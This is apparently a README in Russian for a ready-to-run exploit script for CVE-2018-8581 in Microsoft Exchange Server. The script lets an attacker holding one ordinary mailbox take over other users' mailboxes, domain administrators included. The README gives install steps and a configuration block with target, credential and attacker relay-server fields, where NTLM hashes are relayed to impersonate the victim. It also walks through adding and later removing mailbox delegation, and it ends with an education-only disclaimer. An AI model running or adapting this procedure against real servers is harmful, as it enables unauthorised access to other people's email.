
CVE-2018-8581 | Уязвимость повышения привилегий в Microsoft Exchange Server
Это уязвимость горизонтального перемещения и повышения привилегий на уровне почтовых ящиков.
Она позволяет, имея учётные данные обычного почтового ящика, выполнить делегирование и перехват почтовых ящиков других пользователей (включая администраторов домена).
Данный эксплойт-скрипт представляет собой улучшенную версию для однокнопочного использования, основанную на оригинальном PoC. После настройки соответствующих параметров он автоматически выполняет добавление и удаление делегирования для целевого почтового ящика (inbox), что позволяет отделам безопасности и красным командам моделировать атаку на авторизованное предприятие.
Оригинальный PoC требует совместного использования двух скриптов для добавления правил приёма писем, что не очень удобно в практической работе красных команд. Кроме того, оригинальный PoC, помимо адреса электронной почты, требует SID целевого почтового ящика. В статье описан метод получения SID пользователя, но в моих тестах на Exchange Server 2010 и 2013 этот способ не удалось воспроизвести (на 2010 нет соответствующих опций, на 2013 выдаётся ошибка отсутствия прав). В итоге я придумал подход: сначала выполнить обратное делегирование, чтобы получить SID целевого почтового ящика, а затем удалить делегирование.
Установить python-ntlm
pip install python-ntlm
Настроить параметры в следующем блоке кода скрипта
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Запустите скрипт, затем выпейте чай с годжи и подождите минуту
![]()
Теперь делегирование почтового ящика TARGET_EMAIL (inbox) для CONTROLLED_EMAIL успешно выполнено
В OWA или Outlook просмотрите целевой почтовый ящик
Измените FLAG на 0, снова запустите скрипт, затем снова выпейте чай с годжи и подождите минуту, чтобы удалить ранее добавленное делегирование
Доступ больше невозможен (отозваны права)
Python 2.7.14
Exchange Server 2010 (стабильно работает, тесты на базовых версиях Exchange Server 2010 успешны)
Exchange Server 2013 (возможны сбои из-за различий в среде)
Exchange Server 2016 (возможны сбои из-за различий в среде)
Дополнительные запросы EWS SOAP API можно модифицировать в функции make_relay_body().
В ходе экспериментов по использованию ретрансляции Net-NTLM хэшей для атак на хосты без подписи SMB было обнаружено, что полученные хэши принадлежат Exchange Server... Возможно, если на Exchange Server отключена подпись SMB, можно использовать кросс-протокольную ретрансляцию для атаки на Exchange Server, но такая ситуация встречается крайне редко...
Скрипт предназначен только для учебных и исследовательских целей. Пользователь обязан соблюдать местное законодательство. Автор не несёт ответственности за любые последствия неправомерного использования. Загрузка и использование означают согласие с вышеизложенными условиями.